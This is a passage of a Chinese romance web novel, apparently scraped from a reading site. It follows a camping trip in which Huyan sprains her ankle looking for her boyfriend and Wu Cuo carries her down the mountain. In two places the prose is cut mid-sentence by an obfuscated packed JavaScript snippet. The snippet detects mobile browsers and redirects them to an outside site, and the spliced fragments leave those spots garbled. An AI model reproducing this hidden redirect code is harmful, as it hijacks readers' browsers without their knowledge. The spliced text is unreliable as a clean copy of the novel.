小黄豆偶尔会看一下他,但看着他的时候,又像是在看向别处。 所以比起提问,吴措更像是在自言自语,他知道小黄豆大概率不会回答他,但他也知道小黄豆能听懂他在说什么。 “我小时候喜欢恐龙,我妈给我买了很多恐龙模型,带我去博物馆,我甚至去了以前发现恐龙遗迹的地方去体验过挖化石。那个时候我挺想成为考古学家的,觉得挖掘几千几万年前的东西很酷。” “再长大一点就开始喜欢航空,想去太空看看,我妈又给我买了很多航空模型,去体验模拟空间站。” “是快要高中毕业的时候吧,我忽然想成为记者。那时候反应过来挖掘过去的不如着重眼前的,仰望星空很好,脚踏实地也挺酷。” “但那个时候我妈没法给我买录像机了。” “后来我自己赚钱买了第一台录像机,第一个随身录音笔,学新闻学司法……” “黑脉金斑蝶。” 小黄豆忽然开了口。 吴措笑了声,“你想成为昆虫学家?” “黑脉金斑蝶。”小黄豆重复。 吴措反应了一下,说:“你想做一只黑脉金斑蝶?” 小黄豆盯着自己的蝴蝶标本盒,隔着玻璃罩摩挲了一下中间那只黑橙相间的蝴蝶。 然后很干脆地点了下头。 黑脉金斑蝶,一种自身有毒的蝴蝶,以释放毒素的方式来对抗和抵御大自然。 吴措刚才听小黄豆介绍的时候,大概是有这么个印象。 他抬手蹂/躏了下小黄豆的脑袋:“不错,当一只蝴蝶比当昆虫学家酷多了。” 小黄豆抱着标本盒,嘴角很不自然地扯了扯。 他不太会笑,情绪比别人表达得困难,所以表达情绪的时候就更难得。 吴措手撑着车窗沿,说:“小黄豆,你知道呼延的男朋友吗?” 小黄豆点了点头。 “他是好人吗?” 小黄豆又点了点头。 “对呼延怎么样。” 这是个无法用点头或摇头来简单回答的问题,所以小黄豆似乎因此迟疑了一下,没有给他反应。 吴措又换了个问法,“他对呼延好吗?” 小黄豆的视线缓缓从标本盒移开,看向吴措。 他的瞳孔漆黑,眼白还泛着点小孩特有的蓝,他的眼中永远没有情绪。 吴措看到小黄豆的嘴唇动了一下,还没发出音节出来,车子后方传过来后备箱被打开的声音。 他们买的东西很多,就连星星的手里也拎了两个塑料袋,小黄豆停止了说话,吴措也不置可否,下车帮忙往后备箱装东西。 呼延先去确认了下小黄豆的状态,发现没什么异常后,才把地上的饮料箱子搬进车里,又用钥匙划开拆箱,拿了一瓶葡萄汁出来,进车递给了小黄豆。 “我们小黄豆怎么这么棒啊,奖励一瓶葡萄汁!”她拧开瓶盖。 但小黄豆只喝了几口就不再喝了,呼延有些奇怪,“这可是你最爱喝的葡萄汁,是不是哪里不舒服?” “给他喝水了。” 吴措把最后一个袋子放进后备箱后进了车,仍然坐在最外的位置,靠着呼延。 星星从小黄豆的另一侧上了车,手里拿着两个棉花糖软糖,一个兔子头的,一个猫猫头的,让小黄豆选,小黄豆拿了小猫。 呼延“哦”了声,“谢谢。” “没事。”吴措说。 难得的正常对话。 呼延心里说。 不到二十分钟后,他们到达了目的地,千云峰脚下。 千云峰有十二峰,有十座都是陡峭到被立牌明令禁止不能私自攀爬的,另外两个峰稍微好点,山脚下往上走两百来米的高度,还有人工修建的路。 中间修了个平台,大部分人爬到这打卡拍照就下去了,再往上又是很陡的路,目前还没修通道,很少有人上去。 不是什么节假日,再加上千云峰作为非知名景点,没什么人来这里,山脚下除了他们的车,就只有另外一辆车,但不见人,估计是爬山去了。 东西太多,不好拿着往上爬,他们就地找了块大一点的平地支起了帐篷,架烤炉。 千云峰小众但风景并不差,旁边有座蓝到如同碧玉的小湖,延伸到远处是一条瀑布,远远从高处坠落,如果是雨后湿度高些的时候,千云峰顶耸入云端,能看到“疑是银河落九天”的景象。 支好帐篷后,吴措用手机拍了几张照片。 天然的美景,疏林淡水,不用滤镜也很出片。 “一会儿等弄好了我就先上去了哈。” 呼延一边往烧烤架里添炭,说了句。 “重色轻友啊你。”封筝吐槽她。 这一路太和谐,吴措有几分钟差点忘了他们最初来这里的原因,是呼延要来见她的男朋友。 “说错先后顺序了哈,我本来就是来秀恩爱的。”呼延朝封筝挤了下眼睛。 封筝把肉从袋子里拿出来,已经在商场里让人切好了,现在只需要把切好的肉一根根串起来。 “给你两个小时,现在是10点48分,12点48分前回来。” “才两个小时啊,我也就刚爬上去。”呼延说。 “那就爬快点,放下东西就下来。那时候的火候最好,还能多给你留两串鸡翅。” 呼延讨价还价:“两个小时太少了,四个小时吧,我一会儿带点熟食上去,就不下来和你们抢肉了。” “10点50了。你还有1小时零58分钟。”封筝说,“晚回来一分钟,我和院长告状。” 封筝简直不要太了解呼延,天塌了呼延都不会守时。 告诉她两小时那她至少得三小时回,如果说的是四小时,那呼延天黑前能回来就不错了。 “你这女人,怎么还打小报告。”呼延埋怨道,说着话已经开始收拾自己的包了。 “什么叫小报告,我这是打大报告。对了,手机拿好,别忘了。”封筝说。 呼延背上了她那个巨大的登山包,小黄豆和星星在另一旁的小溪边上用树枝划水,不知道呼延要走了。 呼延走的动作静悄悄的,又小声叮嘱封筝看好两个小孩。 呼延刚向着山的方向刚走出两米,吴措说:“都来到这儿了,把人叫下来不行么。” 封筝串肉的动作停了下来,八哥原本在旁边拿水洗菜,也定住看向两人。 呼延说:“他在山上拍东西,不好下来。” 呼延路上又想明白了,为了给吴措这个坏东西作警示让陆离专门跑下来一趟也太亏了,他何德何能! “那你上去找他不会打扰到么。”吴措说。 呼延静了一会儿,说:“不会,我动静不大。” 吴措很深地看向她,这个眼神让呼延产生一种错觉,周边的空气仿佛在倒流,时间被拉长,她觉得吴措又要开始了。 开始他无赖的“去看看你男朋友”论。 “哦。” 吴措只是轻应了声,然后回身坐上一个对他的腿而言显得有些矮的马扎,戴上一次性手套,拆开了放鸡翅的袋子。 呼延原地愣了下,才又重新回到自己的节奏中。 也是,本来就该这样。 她朝封筝招了招手,大步流星向千云峰走去。 吴措将鸡翅从袋子里拿出,鸡翅原本放在冷鲜区的,一路带过来还带着点凉气,没有腌制,吴措拿了个一次性碗,开始调腌制料。 等他调好料,把鸡翅放进去的时候,再抬起头来,远处已经消失了呼延的身影。 天气晴朗,千云峰的岩土呈现一种极深的青赭色,山林没入其中,越往上看融合得越深,像是一整个幽色的湖。 吴措收回视线,食指抬了下帽檐,拿起铁签开始串肉。 这时候星星和小黄豆回来了,小黄豆不见呼延,两只眼睛转着开始四处逡巡找她,封筝拿出早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14432204|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就准备好的平板递给小黄豆,看到上面的《一万种昆虫》纪录片,小黄豆眼睛眨了两下,很快忘记了要去找呼延的事。 星星在旁边支起了自己的画板,但在开始画画之前,她先到烧烤区帮了会儿忙。 呼延和吴措说完星星的病以后,他查房时又看了遍星星的病例,说实话,他并不觉得星星的病有呼延说的那么乐观。 星星的肺癌是从幼儿期开始的,属于基因突变诱发,之前一直在用靶向药物治疗,之前严重病发过一次,虽然挺过了危险期,后期也有好好疗养,但还是朝胰脏转移了。 他也看过那个据说有治疗方案的海归医生的信息,履历的确不错,在瑞士一直从事幼儿癌症的治疗研究,很对星星的病症。 但从公开的数据来看,他临床经验很少,换句话说,是个学者派。 可有希望比没希望好。 人要活着总是要给自己找一些支点的。 肺癌到了一定时期的临床表现很明显,但星星表现出来得并不多,最多会偶尔咳嗽一会儿,每次都会用纸巾包着嘴,跑到远离人群的地方去。 星星没有碰食材,她蹲在八哥旁边帮他一起生炭,递引火。 “星星不去上学吗?”吴措说。 星星把地上的干草折了两折,递给八哥,说:“休学了一年,但医生说我恢复得不错,可能过年以前就可以回去上学了。” 她说这话时语气很愉快,带着向往的意思。 吴措偏偏头,“很少有小孩像你这么喜欢上学。” “因为大家很容易就可以去上啊,我需要把病治好才能去。我比大家要多一步,所以他们需要考到好成绩才会得到满足,而我只要能上学就达成第一个目标了,算起来我比他们的幸福感还要多一些呢。” 星星把垂到脸前的碎发夹到了耳后,笑起来左边脸颊有一个浅浅的酒窝。 “而且我的同学们都很好,隔壁班有些人没有常识,说我的肺病会传染,不让我去食堂吃饭。我的同学们会为了我去和他们吵架,有一次还打起来了。” 她说起来的时候眼睛亮亮的。 吴措又看了她一眼,他记起每次在小院餐厅看到星星的时候,她都是一个人坐在角落里吃的。 有次他想过去坐,被八哥拉住了,八哥说这是星星的习惯,就别去打扰了。 星星又感慨了句:“被保护的感觉真好啊。” 封筝笑了声,“这么多英雄救我们星星一个美啊,还真是幸福。” “是啊,有男英雄也有女英雄,我同桌就是个女孩子,比我高一个头呢,上次就是她一拳把隔壁班的人眼睛都打青了。我觉得她和真真姐姐有点像,她们的声音也很像,很好听。” “所有好人都和你真真姐姐像是吧?”封筝故意说,酸里酸气的,“怎么就没人和我像呢。” 星星吐了吐舌头,说:“封筝姐姐像我后桌的一个漂亮的男生,是我们学校校草,我们班好几个女生都喜欢他。” “星星也喜欢吧。”封筝调侃说。 星星抿了抿嘴唇,没说话。 她的头微微低了下去,手机拿着木棍在地上划拉,画出一团看不出意味的图案。 八哥的火生了半小时,周围捡来的细树枝都烧没了,一锅炭还只烧灰了顶上的一层,冒出一丁点的火星,很快又消失在空气中。 封筝都看不下去了,“你到底行不行啊,我肉都快串好了,你别到最后火都生不起来啊。” 八哥火是没生起来,反倒把自己生了一身汗,擦汗的时候手上的炭灰蹭了一鼻子,都这样了情绪还是异常稳定:“引火的树枝是潮的。” 封筝抬头看他这滑稽样,责备的话也说不出来了,“那这怎么办,吃生肉啊?” 八哥把最后一根小树枝折成三段,打火机对准木芯点了三次都没点着。 “试试这个呢?”星星把自己带的写生的纸撕下来两张递过去。 “这炭也有点潮,别浪费你的纸了。” 八哥又把星星撕下来的纸压在了画夹上。 八哥还想拿着那根木棍点的时候,吴措从旁边站了起来,“我去捡些干树枝。” 他们停驻的山脚在几座峰之间,从早到晚没有几个小时是见着太阳的,旁边是成片返潮的湿地,自然什么东西沾着点都变潮了,要捡干树枝要么上山,要么绕到向阳的一侧去。 吴措将商场里带出来的塑料袋系起来拧成了一条长绳,用来一会儿捆捡到的树枝。 他起身的时候向着呼延离开的方向又看了一眼,然后转了个方向,绕过山脚向着前山的方向往上走过去。 枥城属于南方城市,又逢上梅雨季,空气都泛着湿气,如果是平时来旅游玩乐,清新沁脾的空气倒是挺让人舒心,但他现在的目标是找干树枝,所以一直走了快十分钟周围还是一片灌木,就有点不痛快了。 这个季节树上的还都是鲜枝,折下也没用,吴措继续往上走,又走了几十米,手里也就只有几根还算合格的树枝。 正在他想着是不是走的方向不对的时候,不远处的山沟处传来一道不轻不重的抽泣声。 17. 混蛋 在深山里听到这种声音还是很渗人的,吴措作为坚定的唯物主义者,这会儿心里也毛了一下。 但他的脚步还是往前走了两步,靠近边沿的时候向前微微探身看了下,然后便愣住了。 “呼延?” 沟底下小声啜泣的正是方才离开了的呼延。 她现在的状态非常狼狈,整个人被埋在一堆到膝盖高的灌木丛中,头上挂着几棵碎草,脸颊蹭着泥,两只眼睛红红的,仰头看着人,像个被捕兽夹困住的小动物。 太阳凶猛地照在她身上,她的额头被汗水濡湿,刘海黏腻地粘在两颊,混着泪水将她包裹在这个深不见底的山林中。 吴措不知道为什么,他看到呼延这个样子,第一反应是有点生气。 找个男朋友,怎么把自己找成这样。 那男的人呢。 她摔在这多久了。 如果他没发现,她就要一直等在这里吗。 他提了一口气,三步并两步走过去,手向着呼延伸过去。 但呼延却是沉甸甸地坐在地上,红着一双眼呆呆地望着前面,没有给他反应。 呼延没动,吴措也不敢强行拉她,万一哪里扭伤或者骨折,强行挪动只会加重伤害。 “脚扭伤了?”吴措问。 呼延瘪着嘴,还有点懵似的。 “是不是磕到头了?” 吴措皱起眉,一只手在她眼前挥了下。 “呼延真。说话。” 呼延这时候才像是反应过来似的,眼睛眨了两下,一串眼泪哗啦就掉了下来。 “我找不到他了。” 声音哑着。 “你先告诉我,你哪里受伤了。”吴措说。 “他不在那里。” 吴措又打量了一遍呼延,觉得一口气郁结在胸。 呼延抓住他的胳膊:“吴措,你可以帮我去找他吗?求求你了,求你。” 吴措腮帮动了下,他说:“你先把自己收拾好,我去帮你找。现在能起来吗?” 呼延点了下头。 她没有去扶吴措,自己撑着地打算起身,但起了一半又踉跄一下跌了回去。 吴措拨开呼延脚边的草,看到呼延的脚腕已经红肿着粗了一整圈。 “包里有药吗?”吴措问。 呼延犹豫了一下,又点点头。 呼延的包滚到了旁边的湿地里,上面也落满了泥,脏兮兮的。吴措从外层口袋里找到了云南白药喷雾和一小捆绷带。 “上完药你帮我去找人行吗?”呼延声音响在他耳边,弱弱的。 自己狼狈成这样,还是心心念念着要去找人。 就这么在意吗? “他不在约好的地点,你没在那看到人是吧。”吴措低头给她缠着弹力绷带,“你就没想过,万一他已经走了呢。” “不可能。”呼延否认得干脆,“我不来他不会走的。” “那他为什么不在。”吴措抬起头来,“这座山里有狼、有虎?他被叼走了?如果有的话,这么危险他为什么把你喊过来。如果没有,他自己离开了为什么不告诉你。” 呼延咬着嘴唇,眼圈猩红瞪向他。 “不用你帮忙,我不需要了,我自己去找。” 她粗鲁地把吴措的手拨开,绷带缠了一圈半,在吴措的手里脱落。 吴措低眉望着呼延,在他来到桃花小院的这些日子里,呼延一向强悍得所向披靡,这是吴措第一次觉得,如同故友说的那样,她确实也是需要人照看的小女生。 吴措叹了口气,重新拾起垂到地上的绷带,拨去上面挂着的枯草,将最后一圈缠了上去。 “先背你下山。”吴措说。 呼延一声不吭盯着他。 “然后我回来给你找人。”吴措说,“不然你自己在这待着吧,你手机我拿着了,回去以后我也不会告诉别人你在这。信或不信,但这事我肯定做得出来。” 呼延的眼中闪过几秒犹豫,但这时候吴措已经起身了,他将呼延的手机塞进了自己口袋里,拍了拍身上的土,脚搭在旁边的石头上蹭了下鞋底的泥,而后看都没看她一眼,抬脚就走了。 “混蛋吴措!”呼延坐地上扑腾了一下,脚踝又碰到,疼得钻心。 吴措脚步没停。 “我要报警抓你!” 吴措捡起地上的干树枝,用塑料带子紧了紧。 “你是不是有病啊吴措!” 吴措又走出两米,身后再次传来呼延的声音。 “回来!”呼延喊住他,“背我。” 另一边,火总算是生了起来。 倒不是潮湿的树枝终于争气了,而是向晚星记起那会儿看他们搬食材饮料的时候,似乎在角落里看到了几块固体酒精。 有了固体酒精的加持,煤炭很快烧了起来,没一会儿,第一批烤串就出炉了。 十串五花,十串牛油,还有星星和小黄豆一人一串的奶香小馒头。 八哥的火候把握得非常好,从炉子上拿起来的时候,肉串的熟度刚好介于鲜嫩和焦香之间,孜然粉烧烤料又撒得均匀,香味儿顺着溪风吹过来,还没入口就把两个小朋友馋得口水直流。 八哥第一串肉给了封筝,封筝接过来没往嘴里送,说的是:“不知道呼延怎么样了。” 八哥自己的串又撒了层辣椒面,咬了口,说:“应该没事吧。” 吃了两口,忽然又想起来,“我去,忘了和吴措说让他不用捡树枝了!” 这边,吴措背着呼延往山下走。 上山容易下山难,千云峰的山又陡又崎岖,只是单纯往下走就已经很费劲了,更何况背上还有个不配合的人。 也不能说不配合,相对于呼延之前和他的相处模式,呼延现在算是温柔似水了,就是还有点倔,身体挺得邦邦硬,两手扶着吴措的肩膀,坐轿子似的挺在他背上。 “你走得真慢,吴措,你是不是背不动我了。”呼延用手戳了下吴措的后背。 吴措不单要背着呼延,还要背着她那个炸/药包似的登山包,两样加起来一百来斤,吴措倒也不是负担不了,就是听着呼延在他耳后哔哔,就想把人扔了。 见他没说话,呼延又扯了下挂在他身前的登山包,继续说:“你把包给我背着呗,还挺重的是吧。不然一会儿你累趴下了还得赖我的包。” 吴措脚下停顿了下,微微侧头,“我把包给你,你把包扔了是吧。” 呼延眉头一皱,“你有病啊,扔我包干嘛。” “你背着包,我背着你,叠罗汉呢。” “……” 呼延的沉默渐渐融于杳静的山林中,只剩下吴措脚下穿梭越过灌木草丛的声音。 忽然的,空中传来一声响亮的鸣唳,呼延激动地拍了下吴措的肩膀。 “是鹰!” 吴措说:“是雕。” “苍鹰!” “黑雕。” “你怎么知道是雕?”呼延语气不服,质问他。 吴措一本正经科普:“鹰的叫声通常尖利而短促,雕的声音绵长。刚才听到的是一声长达2秒的鸣叫,这是黑雕扑猎冲锋时常见的叫声。” 呼延怔了一会儿,说:“不是鹰吗?那怎么办,拍不到了。” 吴措说:“什么拍不到了。” “不关你的事。” 吴措“呵”了一声。 一个高低落差偏大的坡,吴措下的时候差点踉跄了一下,呼延下意识拢住了他的肩膀,好似才反应过来这时候还在人背上呢。 “我男朋友,他就在这拍苍鹰捕猎呢。”呼延磨磨唧唧说。 吴措没吭声。 呼延又顿了顿,说:“你一会儿会帮我去找人的是吧。” 吴措说:“不找。” “你怎么骗人呢!”呼延又一下子挺直起来,“刚刚说好的。” “刚刚说的是刚刚的事,现在我想把你也扔这儿。”吴措说。 呼延知道吴措这是又不高兴了,但她觉得自己刚才也没说什么吧,怎么就又惹到他了。 这人怎么这么小心眼儿呢,动不动就不高兴了。 还是陆离好,陆离就从来没和她生过气。 “你扔呗,把手机给我,我就等在这让封筝来救我。”呼延说。 “你知道雕平时吃什么吗?”吴措忽然问。 呼延舔了舔嘴唇。 吴措:“吃山羊和藏狐,和你差不多体型的动物。而且它们捕猎的时候直接咬脑袋,先把头撕下来再叼走。” 呼延不说话了,两只手抓着吴措肩膀上的两片衣服。 “怎么着?让你男朋友过来拍一下黑雕捕猎吗?” 呼延抿着嘴唇,她倒不完全信黑雕会突然扑下来吃了她,但她刚才也不知怎么的脑子里忽地过了一下这个画面,自己脑袋像个球似的被雕叼走的画面,浑身激灵了一下。 而后,身下忽然抖了一下。 呼延一开始还以为是自己的错觉,直到吴措笑得快没劲了,肩膀一抖一抖得掩饰都掩饰不住了的时候,呼延才反应过来,一巴掌拍了他的头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14437847|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“干嘛,恩将仇报啊你。”吴措“嘶”了一声,声音里还带着未泯的笑音。 “你是不是骗我呢。” “是啊。”吴措理不直,气也壮。 “我就知道,雕怎么吃得下那么大个动物。” “不是这个。”吴措说,“我也不知道是不是雕,什么叫声长短的是我瞎编的。没想到你会信,呼延真,你怎么这么容易相信人啊。” “……”呼延也不顾自己是不是还被人背着了,没扭到的那只脚狠狠踢了下吴措的大腿。 吴措:“啧,残了赔得起吗你。” “没事,我妈能治。”呼延说,“反正都要残了,我再来两下。” 脚下刚要再踢下去,吴措的手机铃声忽然响起来,但响了好几秒吴措都没接。 呼延停下来,说:“你的手机。” 吴措说:“我知道是我的手机,你看我现在有手接吗?” 呼延:“……怎么着,你先放我下来?” “左边裤兜。”吴措说。 呼延顿了一顿,内心挣扎两秒后,弯了弯身去够吴措裤兜里的手机。 他穿了件直筒工装裤,裤子口袋很大,往下快要坠到膝盖,呼延紧贴着他的背往下压,也没有够到手机,吴措忽然直了直身。 “你干嘛!”呼延埋怨的语气,“本来就够不着,你能不能弯一点。” 吴措:“……” “侧过去拿。”吴措语气带着点僵硬冰冷。 呼延冲他后脑勺翻了个白眼。 就你聪明。 她向着吴措肩膀左侧弯身,抻直了手指头,总算是用食指和中指把手机夹了出来。她自己的手机被吴措放在同一个口袋里,顺带着一起拿了出来。 一举起来吴措的手机,她就看到了屏幕上的名字。 “是八哥。”呼延说。 “你直接接吧。”吴措说。 呼延按了接通。 “打了好几个电话了,一直不在服务区,你是跑哪去了?”八哥在电话另一边说。 “前山这儿,信号就是不大好。”呼延说。 八哥把手机拿远看着屏幕确认了下自己没打错,“呼延?” “哎呀,说来话长。”呼延说,“我们马上回去了,有什么事吗?” 八哥说:“哦现在没什么事了,回来就行。星星找到了固体酒精,火已经生起来了,我是想和吴措说不用捡树枝了。” “原来你是来捡树枝的啊。”呼延低头说。 吴措淡淡道:“不然呢,你以为专门出来找你的么。” 呼延说:“那我就不用这么愧疚了。” “呵,您还知道愧疚呢,没看出来。” 八哥打断两人:“行了,我要说的就这个,你们快回来吧,呼延也回来是吧?那我先把你的鸡翅烤了。” “多撒点胡椒面啊!”呼延对着电话喊。 电话挂了,呼延把吴措手机又给他扔回兜里,然后打开了自己的手机。 刚看了两秒,忽然又拍了下吴措的肩膀。 吴措觉得他背完呼延这一趟下来,腿没事,肩膀得肿一片。 “呼延真!你再拍一下我真把你扔沟里了。” 呼延的心情丝毫没受影响,她声音雀跃得像个被发了最大糖果的小孩,“他没事!” “什么没事。” “我男朋友啊。”呼延脑袋上下一点一点的晃着,“刚才没信号了么不是,他一小时前就发消息给我说了,隔壁市临时有个急活,他先过去了。结果信号太差没发出去,刚才才看到消息感叹号了,又给我发了一遍。” 呼延一边给陆离回着消息,一边说:“我就知道他肯定没事,也肯定不会放我鸽子的。也真是的,害我刚才担心了好久,不过没事就好,要不一会儿——你干嘛。” 她正说着,吴措忽然停下来,单腿一曲半跪下把她放下来了。 呼延手里举着手机,崴了的脚半悬在空中,一头雾水看着吴措。 “自己走吧。” 吴措说完,冷着脸转身走了,包倒是没扔回给呼延,从身前卸下来,单边挂在肩膀上,大步离开了。 呼延在原地愣了一会儿。 不会是因为她一直说陆离的事他才生气的吧。 唉不是,他生的哪门子气啊,她又没捧一踩一,就说陆离安全了她高兴也不成吗? 真是够无语的。 好在已经下完了坡,离他们支帐篷的地方也就几十米,平地上单脚蹦也蹦过去了,呼延一瘸一拐地自己走了回去。 18. 桃花 回来后,两人都很默契地没有提吴措背了呼延半路的事。 一个往左走,一个往右走,又开始了互不对付模式。 八哥看着觉得奇怪,打电话的时候不是还好好的么,他小声问封筝,“又怎么了这是。” “谁知道呢。”封筝往两人的方向各眺了一眼,“不一直这样么。” 呼延接手了八哥的烤肉工作,像模像样地刷油、翻串、刷油、翻串。 只不过同样的步骤,烤出来的东西却是完全不一样。 也不知道火候怎么控制的,有一半的串都糊了,小黄豆一直没舍得吃的最后一串奶香小馒头都给烤成法棍了。 小黄豆嘴往下瘪着,呼延安慰他:“没事哈,姐姐一会儿把表面这层给你用刀切了,照样吃。” 星星说:“可是奶香小馒头就是焦香焦香的皮最好吃啊。” 呼延:“……” 小黄豆的嘴瘪得更厉害了。 “没事哒没事哒。”呼延又说,“还有牛肉串呢,这几串没糊,来,小黄豆吃牛肉。” 说话间把签子的尖尖折去才递给了小黄豆。 小黄豆从呼延手里接过牛肉串,因为对呼延的过度信任,直接一口塞进了嘴里。 但只嚼了两下,就又一口吐了出来。 呼延:“……怎么了,不好吃吗?” 小黄豆不说话,就一直在那“噗噗”往外吐唾沫。 呼延:“……就这么不好吃?” 旁边给烤肠切刀花的封筝和八哥被这动静吸引了过来。 封筝:“哟,我就不信了,烤牛肉串还能难吃到哪去。” 从盘子里拿出一个咬了一下,不过她还是比小黄豆谨慎,只吃了一小口,这让她吐出来的时候,看起来没那么恶心。 “你也真行。”封筝拿矿泉水漱口,“这么新鲜的牛肉被你烤成大列巴了。” 说完,还觉得这苦不能只自己吃了,给八哥和吴措一人拿了一串。 八哥在封筝的监督下吃了一口,然后很给面子的咽了下去。 “我就说没这么夸张吧。”呼延说。 “嗯,是良药。”苦口。 封筝笑得岔气。 “……”呼延觉得她这外号真起得挺贴切。 她这时朝旁边瞄了一眼,看到吴措正拿着那根牛肉串看。 呼延看着他说:“不想吃就别吃,别一会儿吃了又怪我害你。” 吴措又看了一眼,拿纸巾将签子尖处的焦灰擦掉,咬下了一口。 莫名其妙的,呼延其实有点期待他的评价。 “怎么样。” 吴措嚼了几口,咽下去,说:“不一般。” 难得。 还是第一个正面评价。 口味这个东西还是很客观的,吴措这么久了也是终于说了句人话。 不过还没等呼延开始谦虚,吴措又说:“一般人做不这么难吃。” 呼延:“…………” 封筝笑到肚子疼得直不起腰来。 吴措说是不好吃吧,吃完第一口咽下去后还又要吃第二口,被呼延三步并两步走过去抢走了。 “吃什么吃!难不难吃都没你的份了。” 星星看着几个人吃成这样,本来还在旁边画画呢,也起了点兴趣,想和呼延要一串尝尝。 “你就别吃了。”呼延对星星说,“留点我在你心里好的形象吧。” 呼延刚不服气,自己吃了一口,结果吃完吐得比谁都快,把自己烤出来的几串含泪全收塑料袋里了。 幸好一开始就怕烤坏没弄多,这些打包回去,估计村里的狗都不爱吃。 后来还是八哥重操旧职,把剩下的几串肉烤完了。 吃完最后一串肉,时间也才刚下午两三点,阳光从山谷的罅隙照进来,水波摇晃天空晴朗,风景好得不得了。 小黄豆吃完烤串继续看平板,看着看着开始打起了瞌睡,呼延看着他这样子,把他平板收了将人塞帐篷里了。 本来想让星星去另一个帐篷睡会儿,但星星坚持继续画画,呼延也奈何不了,帮着收拾了下垃圾,找了片干燥的青草地就躺下了。 天气真好,像是在大草原上一样。 吴措在一边收烧烤炉,炭拿出来浇水灭了火,炉子放在那降温。 封筝切了些水果,喊吴措过来吃。吴措叉子叉了块西瓜叼在嘴里,又给星星拿了个雪莲果。 他走过去的时候,星星的画已经基本成型了。仍然是蒙眼的画作,很有模有样,山水草木,还有他们支起的帐篷和烧烤炉,炊烟升起融入云端,远处看又像是烟雾从云上向下流淌。 吴措没打扰星星,自己把雪莲果吃了。 他站在星星身后看了会儿,发现星星在往画上添东西。 看了两三分钟,基础的型出来后,吴措看明白了,星星画的是呼延。 她曲着左腿躺在半坡上,面朝着太阳的方向,一只手抬起挡在眼皮上方遮光。 看着这个画面,吴措脑海里忽然就出现了两个字。 平静。 就是平静。 太华丽的词形容不了呼延,她直白得像旁边一目见底的湖。 但吴措无法用“简单”来形容呼延,她很复杂,吴措每认识她一天,就觉得对她的认识又浅了一些。 她的世界好像是一层一层的,每当吴措觉得自己扒开了一层的时候,就会在同时发现还有更深的一层在里面。 他这么看着的时候,一只蓝黑色的蝴蝶盘旋着飞到了呼延的上空,而后倏地落在了她的头发上。 而呼延因为闭着眼,没有察觉到被另外一个生命青睐的瞬间。 吴措举着手机,对着呼延的方向拍了一张。 一束目光从他的身侧看过来。 没开闪光没开声音,他不知道方才一直蒙着眼的星星是什么时候摘下的眼罩,又是怎么察觉到的。 “小院的人说让我拍一下呼延。”吴措说。 不算说谎,群里确实有人专门艾特吴措让他拍呼延,他只是拍得有些晚了。 星星半眯眼笑了下,收回看向吴措手机的视线,“真真姐姐很漂亮是不是?” 吴措收起手机,沉默了几秒,说:“漂亮么。” 只不过是眼睛大一点,皮肤白一点,笑起来让人觉得天晴了似的。 他见过更漂亮的。 就是,没她笑得好看。 “吴措哥哥,我给你变个魔术。” 呼延没睡着,她躺在那脑袋放着空,半闭的眼睛透过指缝望向天空。 头顶的那块云长得有点像奶油蛋糕,她有点馋了,早知道刚才去商场的时候买块小蛋糕了。 不过还好胃里有东西,她尚且还有意志抵抗大脑的馋意。 呼延吞了下口水,将眼睛完全闭上了。 枥城的紫外线很强,她在这也不能躺太久了,不然等到回去就能在脸上喜提半永久手印了。 吴措那皮肤过不了几天肯定也得晒黑,呼延想,不过他好像来了这几天也没有变黑的趋势,仍然白得像在水里泡了三天似的。 不对,想他干嘛。 晦气啊晦气! 眯一会儿,再眯一会儿要准备回去了。 呼延一旦产生睡意,睡着就是下一秒的事儿。她在脑海里深一脚浅一脚开始编造故事,也不知道这一眯眯了多久,反正梦已经做到她扛着AK打丧尸了。 那丧尸是一波接着一波来,子弹空了好几袋,还是不断有新丧尸冲过来。 又是一波袭来时,冲在前锋的丧尸头子吸引了呼延的视线。 她定睛这么一看,哟,这不是吴措么。 你算是落在我手里了。 呼延忽然就兴奋起来,迅速利落地把子弹填满,摆好架势,上膛,准备突击。 忽地,一滴雨落在了呼延脸上。 大干旱末日的,怎么还有雨呢。 她迟疑了一下,紧接着又是几滴雨落下来。 呼延视线被遮挡住,她晃了下脑袋甩去雨滴,眼前的视线却是越来越模糊…… 等到她努力想要看清的时候,脑海骤然黯了下去,再一明朗,呼延睁开了眼睛。 吴措正坐在她一旁的草地上,抬手向她脸上洒着什么。 呼延猛地直起身。 “你往我脸上扔什么!??” 从掉落在地上的几片里捡起来一片,呼延看清楚后愣了下。 “花瓣?怎么会有桃花?”呼延惊讶,“这个季节哪来的桃花。” “那儿摘的。” 吴措说“那儿”,也没指哪儿。 他两条线条流畅的胳膊支撑在身后,半仰着头望天。 “哪儿?”呼延往左右两边瞅了几眼,远处近处都看了,也没看到有开了的桃花树。 “没了,”吴措说,“就开了一朵。” 呼延一下来气了,埋怨道:“就一朵都被你摘了,你有没有公德心啊。” 吴措嘴角慢慢提起,他脸转过来看了呼延一眼,又转了回去,喉间溢出一声轻笑。 “呼延真,你怎么这么容易上当呢。” 呼延:“……” 她将桃花瓣拿到眼前又仔细看了眼,才发现手里的根本不是桃花,而是剪成花瓣形状,又涂了颜色的小纸片。 “有意思吗你。” 呼延气得把“桃花”扔了。 吴措说:“星星做的。” 呼延:“……” 又捡了起来。 默了半天,心里还是有点气不过,从地上薅了几根草,扔吴措脸上了。 